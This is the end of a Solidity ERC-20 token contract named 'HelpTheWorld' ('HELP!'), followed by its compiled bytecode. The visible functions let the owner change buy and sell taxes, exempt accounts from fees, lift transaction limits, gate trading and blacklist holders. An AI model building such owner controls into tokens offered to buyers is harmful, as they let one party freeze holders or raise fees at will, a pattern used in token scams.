_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
function setRemoveTxLimit(bool enable) external onlyOwner{
_removeTxLimit = enable;
}
}
|
0x6080604052600436106101db5760003560e01c806374010ece11610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610690578063dd62ed3e146106b9578063ea1644d5146106f6578063f2fde38b1461071f576101e2565b8063a2a957bb146105d6578063a9059cbb146105ff578063bfd792841461063c578063c3c8cd8014610679576101e2565b80638f70ccf7116100d15780638f70ccf71461052e5780638f9a55c01461055757806395d89b411461058257806398a5c315146105ad576101e2565b806374010ece146104725780637d1db4a51461049b5780637f2feddc146104c65780638da5cb5b14610503576101e2565b80632fd689e31161017a5780636d8aa8f8116101495780636d8aa8f8146103de5780636fc3eaec1461040757806370a082311461041e578063715018a61461045b576101e2565b80632fd689e314610334578063313ce5671461035f57806349bd5a5e1461038a5780636b999053146103b5576101e2565b8063095ea7b3116101b6578063095ea7b3146102645780631694505e146102a157806318160ddd146102cc57806323b872dd146102f7576101e2565b8062b8cf2a146101e757806306fdde0314610210578063093bb7201461023b576101e2565b366101e257005b600080fd5b3480156101f357600080fd5b5061020e60048036038101906102099190612eec565b610748565b005b34801561021c57600080fd5b50610225610958565b6040516102329190612fbd565b60405180910390f35b34801561024757600080fd5b50610262600480360381019061025d9190613017565b610995565b005b34801561027057600080fd5b5061028b6004803603810190610286919061307a565b610a47565b60405161029891906130c9565b60405180910390f35b3480156102ad57600080fd5b506102b6610a65565b6040516102c39190613143565b60405180910390f35b3480156102d857600080fd5b506102e1610a8b565b6040516102ee919061316d565b60405180910390f35b34801561030357600080fd5b5061031e60048036038101906103199190613188565b610a9b565b60405161032b91906130c9565b60405180910390f35b34801561034057600080fd5b50610349610b74565b604051610356919061316d565b60405180910390f35b34801561036b57600080fd5b50610374610b7a565b60405161038191906131f7565b60405180910390f35b34801561039657600080fd5b5061039f610b83565b6040516103ac9190613221565b60405180910390f35b3480156103c157600080fd5b506103dc60048036038101906103d7919061323c565b610ba9565b005b3480156103ea57600080fd5b5061040560048036038101906104009190613017565b610c99565b005b34801561041357600080fd5b5061041c610d4b565b005b34801561042a57600080fd5b506104456004803603810190610440919061323c565b610dbd565b604051610452919061316d565b60405180910390f35b34801561046757600080fd5b50610470610e0e565b005b34801561047e57600080fd5b5061049960048036038101906104949190613269565b610f61565b005b3480156104a757600080fd5b506104b0611013565b6040516104bd919061316d565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e8919061323c565b611019565b6040516104fa919061316d565b60405180910390f35b34801561050f57600080fd5b50610518611031565b6040516105259190613221565b60405180910390f35b34801561053a57600080fd5b5061055560048036038101906105509190613017565b61105a565b005b34801561056357600080fd5b5061056c611123565b604051610579919061316d565b60405180910390f35b34801561058e57600080fd5b50610597611129565b6040516105a49190612fbd565b60405180910390f35b3480156105b957600080fd5b506105d460048036038101906105cf9190613269565b611166565b005b3480156105e257600080fd5b506105fd60048036038101906105f89190613296565b611205565b005b34801561060b57600080fd5b506106266004803603810190610621919061307a565b6112d8565b60405161063391906130c9565b60405180910390f35b34801561064857600080fd5b50610663600480360381019061065e919061323c565b6112f6565b60405161067091906130c9565b60405180910390f35b34801561068557600080fd5b5061068e611316565b005b34801561069c57600080fd5b506106b760048036038101906106b29190613358565b611390565b005b3480156106c557600080fd5b506106e060048036038101906106db91906133b8565b6114ca565b6040516106ed919061316d565b60405180910390f35b34801561070257600080fd5b5061071d60048036038101906107189190613269565b611551565b005b34801561072b57600080fd5b506107466004803603810190610741919061323c565b6115f0565b005b6107506117b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d490613444565b60405180910390fd5b60005b815181101561095457601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061083557610834613464565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156108c95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106108a8576108a7613464565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610941576001601060008484815181106108e7576108e6613464565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061094c906134c2565b9150506107e0565b5050565b60606040518060400160405280600c81526020017f48656c70546865576f726c640000000000000000000000000000000000000000815250905090565b61099d6117b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2190613444565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b6000610a5b610a546117b2565b84846117ba565b6001905092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b6000610aa8848484611985565b610b6984610ab46117b2565b610b6485604051806060016040528060288152602001613f0360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b1a6117b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122349092919063ffffffff16565b6117ba565b600190509392505050565b60175481565b60006009905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610bb16117b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3590613444565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ca16117b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2590613444565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8c6117b2565b73ffffffffffffffffffffffffffffffffffffffff1614610dac57600080fd5b6000479050610dba81612298565b50565b6000610e07600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612304565b9050919050565b610e166117b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9a90613444565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f696117b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed90613444565b60405180910390fd5b6611c37937e08000811161100957600080fd5b8060158190555050565b60155481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6110626117b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e690613444565b60405180910390fd5b60148054906101000a900460ff161561110757600080fd5b806014806101000a81548160ff02191690831515021790555050565b60165481565b60606040518060400160405280600581526020017f48454c5021000000000000000000000000000000000000000000000000000000815250905090565b61116e6117b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f290613444565b60405180910390fd5b8060178190555050565b61120d6117b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461129a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129190613444565b60405180910390fd5b600954821115806112ad5750600b548111155b6112b657600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112ec6112e56117b2565b8484611985565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113576117b2565b73ffffffffffffffffffffffffffffffffffffffff161461137757600080fd5b600061138230610dbd565b905061138d81612372565b50565b6113986117b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611425576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141c90613444565b60405180910390fd5b60005b838390508110156114c457816005600086868581811061144b5761144a613464565b5b9050602002016020810190611460919061323c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114bc906134c2565b915050611428565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115596117b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115dd90613444565b60405180910390fd5b8060168190555050565b6115f86117b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611685576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167c90613444565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ec9061357d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561182a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118219061360f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561189a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611891906136a1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611978919061316d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ec90613733565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5c906137c5565b60405180910390fd5b60008111611aa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9f90613857565b60405180910390fd5b611ab0611031565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b1e5750611aee611031565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f335760148054906101000a900460ff16611bab57611b3d611031565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba1906138e9565b60405180910390fd5b5b601460179054906101000a900460ff16611c0557601554811115611c04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfb90613955565b60405180910390fd5b5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ca95750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdf906139e7565b60405180910390fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611daa57601460179054906101000a900460ff16611da95760165481611d5e84610dbd565b611d689190613a07565b10611da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9f90613acf565b60405180910390fd5b5b5b6000611db530610dbd565b9050600060175482101590506015548210611dd05760155491505b808015611dea5750601460159054906101000a900460ff16155b8015611e445750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5c5750601460169054906101000a900460ff165b8015611eb25750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f085750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f3057611f1682612372565b60004790506000811115611f2e57611f2d47612298565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fda5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061208d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561208c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561209b5760009050612222565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121465750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561215e57600854600c81905550600954600d819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122095750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561222157600a54600c81905550600b54600d819055505b5b61222e848484846125fa565b50505050565b600083831115829061227c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122739190612fbd565b60405180910390fd5b506000838561228b9190613aef565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612300573d6000803e3d6000fd5b5050565b600060065482111561234b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234290613b95565b60405180910390fd5b6000612355612627565b905061236a818461265290919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123aa576123a9612d4b565b5b6040519080825280602002602001820160405280156123d85781602001602082028036833780820191505090505b50905030816000815181106123f0576123ef613464565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561249257600080fd5b505afa1580156124a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124ca9190613bca565b816001815181106124de576124dd613464565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061254530601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117ba565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125a9959493929190613cf0565b600060405180830381600087803b1580156125c357600080fd5b505af11580156125d7573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b806126085761260761269c565b5b6126138484846126df565b80612621576126206128aa565b5b50505050565b60008060006126346128be565b9150915061264b818361265290919063ffffffff16565b9250505090565b600061269483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061291d565b905092915050565b6000600c541480156126b057506000600d54145b156126ba576126dd565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806126f187612980565b95509550955095509550955061274f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127e485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283081612a90565b61283a8483612b4d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612897919061316d565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a764000090506128f2670de0b6b3a764000060065461265290919063ffffffff16565b82101561291057600654670de0b6b3a7640000935093505050612919565b81819350935050505b9091565b60008083118290612964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295b9190612fbd565b60405180910390fd5b50600083856129739190613d79565b9050809150509392505050565b600080600080600080600080600061299d8a600c54600d54612b87565b92509250925060006129ad612627565b905060008060006129c08e878787612c1d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612234565b905092915050565b6000808284612a419190613a07565b905083811015612a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a7d90613df6565b60405180910390fd5b8091505092915050565b6000612a9a612627565b90506000612ab18284612ca690919063ffffffff16565b9050612b0581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b62826006546129e890919063ffffffff16565b600681905550612b7d81600754612a3290919063ffffffff16565b6007819055505050565b600080600080612bb36064612ba5888a612ca690919063ffffffff16565b61265290919063ffffffff16565b90506000612bdd6064612bcf888b612ca690919063ffffffff16565b61265290919063ffffffff16565b90506000612c0682612bf8858c6129e890919063ffffffff16565b6129e890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c368589612ca690919063ffffffff16565b90506000612c4d8689612ca690919063ffffffff16565b90506000612c648789612ca690919063ffffffff16565b90506000612c8d82612c7f85876129e890919063ffffffff16565b6129e890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612cb95760009050612d1b565b60008284612cc79190613e16565b9050828482612cd69190613d79565b14612d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d0d90613ee2565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d8382612d3a565b810181811067ffffffffffffffff82111715612da257612da1612d4b565b5b80604052505050565b6000612db5612d21565b9050612dc18282612d7a565b919050565b600067ffffffffffffffff821115612de157612de0612d4b565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e2282612df7565b9050919050565b612e3281612e17565b8114612e3d57600080fd5b50565b600081359050612e4f81612e29565b92915050565b6000612e68612e6384612dc6565b612dab565b90508083825260208201905060208402830185811115612e8b57612e8a612df2565b5b835b81811015612eb45780612ea08882612e40565b845260208401935050602081019050612e8d565b5050509392505050565b600082601f830112612ed357612ed2612d35565b5b8135612ee3848260208601612e55565b91505092915050565b600060208284031215612f0257612f01612d2b565b5b600082013567ffffffffffffffff811115612f2057612f1f612d30565b5b612f2c84828501612ebe565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f6f578082015181840152602081019050612f54565b83811115612f7e576000848401525b50505050565b6000612f8f82612f35565b612f998185612f40565b9350612fa9818560208601612f51565b612fb281612d3a565b840191505092915050565b60006020820190508181036000830152612fd78184612f84565b905092915050565b60008115159050919050565b612ff481612fdf565b8114612fff57600080fd5b50565b60008135905061301181612feb565b92915050565b60006020828403121561302d5761302c612d2b565b5b600061303b84828501613002565b91505092915050565b6000819050919050565b61305781613044565b811461306257600080fd5b50565b6000813590506130748161304e565b92915050565b6000806040838503121561309157613090612d2b565b5b600061309f85828601612e40565b92505060206130b085828601613065565b9150509250929050565b6130c381612fdf565b82525050565b60006020820190506130de60008301846130ba565b92915050565b6000819050919050565b60006131096131046130ff84612df7565b6130e4565b612df7565b9050919050565b600061311b826130ee565b9050919050565b600061312d82613110565b9050919050565b61313d81613122565b82525050565b60006020820190506131586000830184613134565b92915050565b61316781613044565b82525050565b6000602082019050613182600083018461315e565b92915050565b6000806000606084860312156131a1576131a0612d2b565b5b60006131af86828701612e40565b93505060206131c086828701612e40565b92505060406131d186828701613065565b9150509250925092565b600060ff82169050919050565b6131f1816131db565b82525050565b600060208201905061320c60008301846131e8565b92915050565b61321b81612e17565b82525050565b60006020820190506132366000830184613212565b92915050565b60006020828403121561325257613251612d2b565b5b600061326084828501612e40565b91505092915050565b60006020828403121561327f5761327e612d2b565b5b600061328d84828501613065565b91505092915050565b600080600080608085870312156132b0576132af612d2b565b5b60006132be87828801613065565b94505060206132cf87828801613065565b93505060406132e087828801613065565b92505060606132f187828801613065565b91505092959194509250565b600080fd5b60008083601f84011261331857613317612d35565b5b8235905067ffffffffffffffff811115613335576133346132fd565b5b60208301915083602082028301111561335157613350612df2565b5b9250929050565b60008060006040848603121561337157613370612d2b565b5b600084013567ffffffffffffffff81111561338f5761338e612d30565b5b61339b86828701613302565b935093505060206133ae86828701613002565b9150509250925092565b600080604083850312156133cf576133ce612d2b565b5b60006133dd85828601612e40565b92505060206133ee85828601612e40565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061342e602083612f40565b9150613439826133f8565b602082019050919050565b6000602082019050818103600083015261345d81613421565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134cd82613044565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613500576134ff613493565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613567602683612f40565b91506135728261350b565b604082019050919050565b600060208201905081810360008301526135968161355a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135f9602483612f40565b91506136048261359d565b604082019050919050565b60006020820190508181036000830152613628816135ec565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061368b602283612f40565b91506136968261362f565b604082019050919050565b600060208201905081810360008301526136ba8161367e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061371d602583612f40565b9150613728826136c1565b604082019050919050565b6000602082019050818103600083015261374c81613710565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006137af602383612f40565b91506137ba82613753565b604082019050919050565b600060208201905081810360008301526137de816137a2565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613841602983612f40565b915061384c826137e5565b604082019050919050565b6000602082019050818103600083015261387081613834565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006138d3603f83612f40565b91506138de82613877565b604082019050919050565b60006020820190508181036000830152613902816138c6565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b600061393f601c83612f40565b915061394a82613909565b602082019050919050565b6000602082019050818103600083015261396e81613932565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006139d1602383612f40565b91506139dc82613975565b604082019050919050565b60006020820190508181036000830152613a00816139c4565b9050919050565b6000613a1282613044565b9150613a1d83613044565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a5257613a51613493565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613ab9602383612f40565b9150613ac482613a5d565b604082019050919050565b60006020820190508181036000830152613ae881613aac565b9050919050565b6000613afa82613044565b9150613b0583613044565b925082821015613b1857613b17613493565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613b7f602a83612f40565b9150613b8a82613b23565b604082019050919050565b60006020820190508181036000830152613bae81613b72565b9050919050565b600081519050613bc481612e29565b92915050565b600060208284031215613be057613bdf612d2b565b5b6000613bee84828501613bb5565b91505092915050565b6000819050919050565b6000613c1c613c17613c1284613bf7565b6130e4565b613044565b9050919050565b613c2c81613c01565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613c6781612e17565b82525050565b6000613c798383613c5e565b60208301905092915050565b6000602082019050919050565b6000613c9d82613c32565b613ca78185613c3d565b9350613cb283613c4e565b8060005b83811015613ce3578151613cca8882613c6d565b9750613cd583613c85565b925050600181019050613cb6565b5085935050505092915050565b600060a082019050613d05600083018861315e565b613d126020830187613c23565b8181036040830152613d248186613c92565b9050613d336060830185613212565b613d40608083018461315e565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613d8482613044565b9150613d8f83613044565b925082613d9f57613d9e613d4a565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613de0601b83612f40565b9150613deb82613daa565b602082019050919050565b60006020820190508181036000830152613e0f81613dd3565b9050919050565b6000613e2182613044565b9150613e2c83613044565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613e6557613e64613493565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ecc602183612f40565b9150613ed782613e70565b604082019050919050565b60006020820190508181036000830152613efb81613ebf565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200e237920dcb2f33c48197123210f69aceb87a8d81a0c400ea38566064b67077664736f6c63430008090033
|
